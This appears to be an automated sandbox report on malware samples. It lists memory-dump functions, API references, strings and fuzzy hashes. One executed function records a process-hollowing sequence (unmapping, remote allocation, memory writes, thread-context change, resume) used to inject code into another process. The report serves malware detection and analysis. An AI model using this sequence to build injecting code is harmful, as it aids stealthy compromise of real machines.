Part of subcall function 00401643: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
Part of subcall function 00401643: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 8cdfc0f2aa90dfda5a8edeaa2ab724d4157c9f52ff36d557385f15e6ad46ff9c
Instruction ID: a0c0784c804aa3ba192a4b5f92245216df83d8d8d0a76b4721ab198573e525fb
Opcode Fuzzy Hash: 8cdfc0f2aa90dfda5a8edeaa2ab724d4157c9f52ff36d557385f15e6ad46ff9c
Instruction Fuzzy Hash: C4F0D132305245EBDB009A909D81E6A3628AB40354F3040B7BA13B80E2D63D8652AF2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004111F5 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: 68b20ab72c8b0a8ede675088af6a54d6838cd2b0bbfb62082b110aff9a14de49
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 48C19173D0A5B20A8B35422E05183BFEFA26ED1B4131FC3D2DDD03F699D22A6D9196D4

Uniqueness

Uniqueness Score: -1.00%

Function 00410E0D Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: a9594f300f093309418788b795ff0661d55523f12f3991ce388628e78fba8dc1
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 62C19033D0A6B20A8B35462D05183BFEFA26E91B4031FC392DCD03F689C66A6DD5D6D4

Uniqueness

Uniqueness Score: -1.00%

Function 00410A3B Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: bdef61ac77f4415b09dca67d752473c753fa7d61ac94a31eaa684885aa4cd437
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: AEC19133D0E6B20A8B76412D45182BFEFA16E91B4031FC392DCD03F289D26A6DD1D6D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041069D Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: 2a1d0c6a2d479bd1d91e997f5f7c5b4610df82b54fce81ef023b00f04616b1c8
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: 4FB1A273D1E5B20A8B35452D05182BFEFA26ED1B4031FC3A2DCD03F289D26AADD196D4

Uniqueness

Uniqueness Score: -1.00%

Function 00881E0B Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975db6ff8270d4f5fc382335a9355ebfae2b89fbe96cda79285604bb69cd17b2
Instruction ID: 64b181d307e2e4eedcb4dc58804dafbd0f8f38cfefa61d3a19e5912268dc2fca
Opcode Fuzzy Hash: 975db6ff8270d4f5fc382335a9355ebfae2b89fbe96cda79285604bb69cd17b2
Instruction Fuzzy Hash: 5751E232909719DFC70AEF34D44659BBB7AFF1570876091AEE403CA921DB329413DB82

Uniqueness

Uniqueness Score: -1.00%

Function 00401DA4 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975db6ff8270d4f5fc382335a9355ebfae2b89fbe96cda79285604bb69cd17b2
Instruction ID: 127c15eaba4d95cbaf627e568ad0d3ba3087a9785894ab0f4eb9ef34962b44d6
Opcode Fuzzy Hash: 975db6ff8270d4f5fc382335a9355ebfae2b89fbe96cda79285604bb69cd17b2
Instruction Fuzzy Hash: 4951BE36909315DFC30ADE71C44259BBBB6FF16704B6151AFE403EA9B2D335A402DB86

Uniqueness

Uniqueness Score: -1.00%

Function 00881E0A Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f033113d88af7995a99ed51b2290f229894d950152335939f96d5e1de6be7b89
Instruction ID: 179d55da05a05e8db3d613cb1980712c11c4571630cc6b941a054d1c3f288994
Opcode Fuzzy Hash: f033113d88af7995a99ed51b2290f229894d950152335939f96d5e1de6be7b89
Instruction Fuzzy Hash: DD418D32949319DFC75AEF74D48659BBBB6FB0670876191AEE403CA832D6329403DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00401DA3 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f033113d88af7995a99ed51b2290f229894d950152335939f96d5e1de6be7b89
Instruction ID: 41174b2865cd7b80a9de343fa778432f28703bfb3aa7b0e4872f1132bde4b899
Opcode Fuzzy Hash: f033113d88af7995a99ed51b2290f229894d950152335939f96d5e1de6be7b89
Instruction Fuzzy Hash: 00418B32949319DFC34ADE75C48259BBBB6FF0270876151AFE003DA972D236A402DB86

Uniqueness

Uniqueness Score: -1.00%

Function 00881E23 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a788abc0121d06e5ca6a93a53da35dbfb74e6ee5d44918d115ba1c4770bab7
Instruction ID: df763d27a42852a10c6f7836658be3414614b61278850db2da667196e819d5d4
Opcode Fuzzy Hash: 24a788abc0121d06e5ca6a93a53da35dbfb74e6ee5d44918d115ba1c4770bab7
Instruction Fuzzy Hash: 15416D32949719DFC74AEF74D48659BBBB6FB0670876191AEE403CA832D7329403DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00401DBC Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a788abc0121d06e5ca6a93a53da35dbfb74e6ee5d44918d115ba1c4770bab7
Instruction ID: e788aae7899868fa340145e827117b259425faaf12d916499c77b89344ff06f1
Opcode Fuzzy Hash: 24a788abc0121d06e5ca6a93a53da35dbfb74e6ee5d44918d115ba1c4770bab7
Instruction Fuzzy Hash: 04418D32909315DFC34ADF75C48259BBBB6FF0670876151AFE003DA872D232A402DB86

Uniqueness

Uniqueness Score: -1.00%

Function 00881E16 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0d9632964f0c928f993f245c7d3f44878b5ab458500946d49a37621bf9c98b
Instruction ID: 4994f376cd7b23b20c95e506b68ca4f8328c00c258554e056793d062824bae09
Opcode Fuzzy Hash: 9a0d9632964f0c928f993f245c7d3f44878b5ab458500946d49a37621bf9c98b
Instruction Fuzzy Hash: 35416B32949719DFC74AEF74C48659BBBB6FF0670876191AEE403CA832D7329402DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00401DAF Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0d9632964f0c928f993f245c7d3f44878b5ab458500946d49a37621bf9c98b
Instruction ID: 30f49e4fc921ac54fe178e32cb7eef18c80d46f57cc4341408e6f1c2eda6556c
Opcode Fuzzy Hash: 9a0d9632964f0c928f993f245c7d3f44878b5ab458500946d49a37621bf9c98b
Instruction Fuzzy Hash: C5418C32909319DFC30ADF75C48259BBBB2FF0670876151AFE403DA872D232A402DB86

Uniqueness

Uniqueness Score: -1.00%

Function 00881E36 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a501f7372096e9f555521a4c3ef15ada6c8609fa7cfafd289527e8b56d35aa1
Instruction ID: 67802aeea74e1e43cc61518ac24c6d99bbb7d18b0a0cca44090da1dad5292e2c
Opcode Fuzzy Hash: 8a501f7372096e9f555521a4c3ef15ada6c8609fa7cfafd289527e8b56d35aa1
Instruction Fuzzy Hash: F2316D32949719DFC74ADF75C48659BBBB6FF0670836191AED403CA932D7329402DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00401DCF Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a501f7372096e9f555521a4c3ef15ada6c8609fa7cfafd289527e8b56d35aa1
Instruction ID: b8ee8753d0292275f42df86bd8043f90c6c387ecc7b33bff2fe44868c2693211
Opcode Fuzzy Hash: 8a501f7372096e9f555521a4c3ef15ada6c8609fa7cfafd289527e8b56d35aa1
Instruction Fuzzy Hash: 75314C32949719DFC34ADF75C48259BBBB6FF0670876191AEE403DA932D732A402DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00881E3C Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed023a3507e72b30ed7e6cd4f2f73dc4a3e3e816724b060f86d1a23b21bfb40
Instruction ID: 2ac91d31708a62df188f8b3dff1fc46db68f83a9fce44e24d358b4caf7f40bbe
Opcode Fuzzy Hash: 4ed023a3507e72b30ed7e6cd4f2f73dc4a3e3e816724b060f86d1a23b21bfb40
Instruction Fuzzy Hash: 23316C32949729DFC74ADF75D48259BBBB6FF0670836191AED402CA932D732A402CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00401DD5 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed023a3507e72b30ed7e6cd4f2f73dc4a3e3e816724b060f86d1a23b21bfb40
Instruction ID: ad750b13a540b99709b9ce7ca69b859f0bd10631a6fca8373006e90c54715c55
Opcode Fuzzy Hash: 4ed023a3507e72b30ed7e6cd4f2f73dc4a3e3e816724b060f86d1a23b21bfb40
Instruction Fuzzy Hash: 20316C32949729DFC34ADF75C48259BBBB7FF0670836191AED402DA932D332A402CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00881E4C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f41b6bd41769dc0b103803e64ce4ae05880ed32a1eafbe3b3136c3d147f408
Instruction ID: 5905a9bb9afcf57e4a687c6cd93e98857d349575e59c7a49b74ba8383b789da7
Opcode Fuzzy Hash: 61f41b6bd41769dc0b103803e64ce4ae05880ed32a1eafbe3b3136c3d147f408
Instruction Fuzzy Hash: E3313C32949729DFC75ADF75D48259BBBB6FF06708361A1AED402CA932D7329402CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00401DE5 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f41b6bd41769dc0b103803e64ce4ae05880ed32a1eafbe3b3136c3d147f408
Instruction ID: 404eacc720adf4d778917dcb26841a48465da3548de7a28a7f4f6b2ff04e977c
Opcode Fuzzy Hash: 61f41b6bd41769dc0b103803e64ce4ae05880ed32a1eafbe3b3136c3d147f408
Instruction Fuzzy Hash: 80313E36949719DFC35ADF75C48259BBBB7FF0670836191AED402DA932D7329402DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE0A Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040CE16

Part of subcall function 0040C36F: __getptd_noexit.LIBCMT ref: 0040C372
Part of subcall function 0040C36F: __amsg_exit.LIBCMT ref: 0040C37F

__getptd.LIBCMT ref: 0040CE2D
__amsg_exit.LIBCMT ref: 0040CE3B
__lock.LIBCMT ref: 0040CE4B
__updatetlocinfoEx_nolock.LIBCMT ref: 0040CE5F

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 9bcc65b9e586404d7a983c5f7e4e4df4be43c95e4dc0496e5a8ad7cd5745610c
Instruction ID: 524e95dafa9ab244ebab403f9468e8d86c8144be4547c3e1c71c432ac12cdd64
Opcode Fuzzy Hash: 9bcc65b9e586404d7a983c5f7e4e4df4be43c95e4dc0496e5a8ad7cd5745610c
Instruction Fuzzy Hash: FAF06232944710DAD6217BAAE847B4E3290AF04B28F14837FE414762D2CB7C59418A9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C242 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040C287

Part of subcall function 0040F237: __mtinitlocknum.LIBCMT ref: 0040F24D
Part of subcall function 0040F237: __amsg_exit.LIBCMT ref: 0040F259

__lock.LIBCMT ref: 0040C2A8
___addlocaleref.LIBCMT ref: 0040C2C6

Strings

`(@, xrefs: 0040C25C

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID: __lock$___addlocaleref__amsg_exit__mtinitlocknum
String ID: `(@
API String ID: 2123130959-2618817800
Opcode ID: 42d4eac59c75bd4bb9ef71fe085cae6a7713d92b0d6ac70f13f8778148bcfffd
Instruction ID: 0b1021e3bdfdbeaa2d46212240949e222bf8b4839ee79c00bcde838dfb8acc1a
Opcode Fuzzy Hash: 42d4eac59c75bd4bb9ef71fe085cae6a7713d92b0d6ac70f13f8778148bcfffd
Instruction Fuzzy Hash: 8B016175804700DFD720AFA6D94A749FBE0AF00318F108A6FE495B66E1CBB8A644CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413CD8 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413CFE

Part of subcall function 00413B2A: __fltout2.LIBCMT ref: 00413B55

__cftog_l.LIBCMT ref: 00413D24
__cftoe_l.LIBCMT ref: 00413D56

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 1c0fca6af456c742bdae595cbaff4761b77bc7bdb0477b58c5fd84fae2a7f252
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 36117E3200404EBBCF125E84DC418EE3F63BB18356F18891AFA1859131D33ADAB1AB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C6 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040D1F8

Part of subcall function 0040C36F: __getptd_noexit.LIBCMT ref: 0040C372
Part of subcall function 0040C36F: __amsg_exit.LIBCMT ref: 0040C37F

__getptd.LIBCMT ref: 0040D206
__getptd.LIBCMT ref: 0040D214
__getptd.LIBCMT ref: 0040D21F

Part of subcall function 0040D2EC: __getptd.LIBCMT ref: 0040D2FB
Part of subcall function 0040D2EC: __getptd.LIBCMT ref: 0040D309

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID:
API String ID: 803148776-0
Opcode ID: f5a52aabcc079e302aebbb42224447e2b63cd95a70a99b911ffc354244256226
Instruction ID: ba17d817f08403f5695fa358fbdacd2754bc55a90cf64564de05ecd1a2bca746
Opcode Fuzzy Hash: f5a52aabcc079e302aebbb42224447e2b63cd95a70a99b911ffc354244256226
Instruction Fuzzy Hash: D011C971D10209DFDB00EFA5D885BAD7BB1FF08718F10816EF814A7291DB789A159F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040D2FB

Part of subcall function 0040C36F: __getptd_noexit.LIBCMT ref: 0040C372
Part of subcall function 0040C36F: __amsg_exit.LIBCMT ref: 0040C37F

__getptd.LIBCMT ref: 0040D309

Strings

csm, xrefs: 0040D317

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 801461631c007e9c63869f2a2c5a3911ace51b206ccbda3a3d75eac155ede972
Instruction ID: 5c151b13cc118f49702bbc0ff1d717ccf02c371ff6ed4a2a0973c1e5bb56880d
Opcode Fuzzy Hash: 801461631c007e9c63869f2a2c5a3911ace51b206ccbda3a3d75eac155ede972
Instruction Fuzzy Hash: 92012835C01305DACF389FB6D8806AEB3B5BF14715F14883FE881766D1CB388988CA0A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6071.exePID: 7852, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	43.3%
Dynamic/Decrypted Code Coverage:	86.4%
Signature Coverage:	34.1%
Total number of Nodes:	44
Total number of Limit Nodes:	8

Executed Functions

Function 02980110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02980156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0298016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02980255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02980270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02980283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0298029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 029802C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 029802E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02980304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0298032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02980399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 029803BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 029803E1
ResumeThread.KERNELBASE(00000000), ref: 029803ED
ExitProcess.KERNEL32(00000000), ref: 02980412

Memory Dump Source

Source File: 0000000F.00000002.1862731318.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2980000_6071.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: f49418d0fd1addfbad214af7a1695f2478c22c655f6485f7b2c3251bacf8c542
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: A6B1C674A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02980420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02980533

Strings

saodkfnosa9uin, xrefs: 029804DA
d, xrefs: 02980584
0, xrefs: 02980492
mfoaskdfnoa, xrefs: 02980520, 02980523

Memory Dump Source

Source File: 0000000F.00000002.1862731318.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2980000_6071.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 446af4d8e917cca4542c159566f2bca740fab5e27867f37417d534207285cf07
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: EA511A70D08388DAEB11DBE8C849BDDBFB6AF11708F184058D5447F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 029805B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 029805EC

Strings

apfHQ, xrefs: 029805E2, 029805E5
o, xrefs: 02980600

Memory Dump Source

Source File: 0000000F.00000002.1862731318.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2980000_6071.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 4744cece69817fa3f1f1570856e93919630b386dfb053e7c641c0232fccea395
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: DF012170C0425DEEDF10EBA8C5183AEBFB5AF41308F1881D9C4092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 027BE7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 027BE7EE
Module32First.KERNEL32(00000000,00000224), ref: 027BE80E

Memory Dump Source

Source File: 0000000F.00000002.1862530348.00000000027BE000.00000040.00000020.00020000.00000000.sdmp, Offset: 027BE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_27be000_6071.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1191003fc3e9c93f9935c963b5b3a2268ddbdef14a86414a7a936464aad06d33
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: EBF096312007116FD7213BF5A88DBEE76ECAF49625F501528F642915C1DB74E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 027BE485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 027BE4D6

Memory Dump Source

Source File: 0000000F.00000002.1862530348.00000000027BE000.00000040.00000020.00020000.00000000.sdmp, Offset: 027BE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_27be000_6071.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: f697b51c4238f59b17d1efa69bc74d21dca5f1bc88c98c8541325bdc09624ccf
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 36113F79A00208EFDB01DF98C985E99BFF5AF08350F458094F9489B361D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6719.exePID: 7880, Parent PID: 4056COMMON

Executed Functions

Function 032DBD18 Relevance: 5.4, Strings: 4, Instructions: 442COMMON

Download Yara Rule

Strings

$q, xrefs: 032DC3C6
$q, xrefs: 032DBFD2
$q, xrefs: 032DC46A
$q, xrefs: 032DC076

Memory Dump Source

Source File: 00000010.00000002.2203386478.00000000032D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

